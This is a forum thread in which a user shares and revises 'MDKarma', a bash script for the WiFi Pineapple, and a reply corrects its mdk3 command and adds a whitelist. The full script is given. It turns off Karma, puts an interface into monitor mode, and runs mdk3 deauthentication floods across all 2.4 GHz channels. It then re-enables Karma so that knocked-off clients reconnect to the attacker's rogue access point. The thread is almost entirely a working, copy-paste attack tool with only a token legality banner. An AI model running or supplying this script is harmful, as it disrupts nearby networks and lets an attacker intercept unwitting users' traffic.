Jump to content

MDKarma Script


Foxtrot

Recommended Posts

Fix this:

mdk3 mon0 d -c 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 & sleep $deauthTime && killall mdk3

to

mdk3 mon0 d -c 1,2,3,4,5,6,7,8,9,10,11,12,13,14 & sleep $deauthTime && killall mdk3

and for those who wants add a white list

mdk3 mon0 d -w whitelist.txt -c 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 & sleep $deauthTime && killall mdk3
Link to comment
Share on other sites

  • Replies 61
  • Created
  • Last Reply

Top Posters In This Topic

Fix this:

mdk3 mon0 d -c 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 & sleep $deauthTime && killall mdk3

to

mdk3 mon0 d -c 1,2,3,4,5,6,7,8,9,10,11,12,13,14 & sleep $deauthTime && killall mdk3

and for those who wants add a white list

mdk3 mon0 d -w whitelist.txt -c 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 & sleep $deauthTime && killall mdk3

Thanks for the changes, will add them in the next one, and also, the whitelist function is on its way, Will ask you for MACs to whitelist then generate the .txt, Stay Tuned :)

-Foxtrot

Link to comment
Share on other sites

Hey guys!

I am currently making a script that basically :

-Asks how long to deauth for

-Asks what interface to deauth on

-Disables karma

-Puts wlan0 into RFMON (Monitor Mode)

-Starts MDK3 Deauthing for x amount of seconds inputted at the beginning

-After x amount of seconds, Stops MDK3

-Removes mon0

-Starts karma again

The point of this script is that it deauths all nearby access points then enables karma so that the people will reconnect to the pineapple, Allthough this can be done manually I thought a nice script would be nice that did it for you :)

Run this script by copy/pasting into a file and call it mdkarma.sh, then do chmod +x mdkarma.sh, then do ./mdkarma , Incase it wasn't obvious, when I update the script, you have to copy the new code into the existing script you have...

Edit : Version 1.1 - Added how long to deauth for and choice on what interface to deauth on.

Edit : Version 1.1.2 - Fixed deauthing on all channels!

Edit : Version 1.1.3 - Fixed a typo that could stop MDK3 starting.

Edit : Version 1.2 - Fixed Channel Hopping, Added Whitelisting and added spacing for easier reading :)

Please give some feedback and any improvements :)

Code :

#!/bin/bash

#Part of the Pineapple Mojito Framework
#Made by Foxtrot
#Version 1.2

#Intro
echo "!! This script is to be used only for legal, safe and authorised uses !!"
echo "MDKarma V1.2"
sleep 6

#Ask how long to deauth for
echo -n "How long (In Seconds) to deauth for? : "; read deauthTime

#Ask what Interface
echo -n "What interface would you like to deauth on? : "; read deauthInterface

#Ask if you want to whitelist
read -r -p "Do you want to add a whitelist? [Y/n] " response
if [[ $response =~ ^([yY][eE][sS]|[yY])$ ]]
then
    echo "   "
    echo "Whitelist Created!"
    echo "  "
    touch whitelist.txt
    read -r -p "MAC Address to add : " macaddr
    echo $macaddr >> whitelist.txt
   else
    echo "   "
    echo "Avoiding Whitelist Creation!"
    echo "  "

fi


#Put wlan0 up
echo "Checking Interface wlan0 is up...."
wifi
sleep 3

#Stop Karma
echo "   "
echo "Killing Karma...."
hostapd_cli -p /var/run/hostapd-phy0 karma_disable > /dev/null
sleep 3

#Put deauthInterface into monitor mode
echo "   "
echo "Putting $deauthInterface into monitor mode...."
airmon-ng start $deauthInterface > /dev/null
sleep 3

#Start deauthing with MDK3 and stop
echo "   "
echo "Deauthing Access Points with MDK3...."
mdk3 mon0 d -w whitelist.txt -c 1,2,3,4,5,6,7,8,9,10,11,12,13,14 & sleep $deauthTime && killall mdk3
sleep 3

#Kill airmon-ng and start Karma again.
echo "Removing mon0 and enabling karma...."
airmon-ng stop mon0 > /dev/null
wifi
hostapd_cli -p /var/run/hostapd-phy0 karma_enable > /dev/null
sleep 3

#Finish
echo "  "
echo "MDKarma Finished!"

-Foxtrot

GREAT!!!!!!!!!

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.

×
×
  • Create New...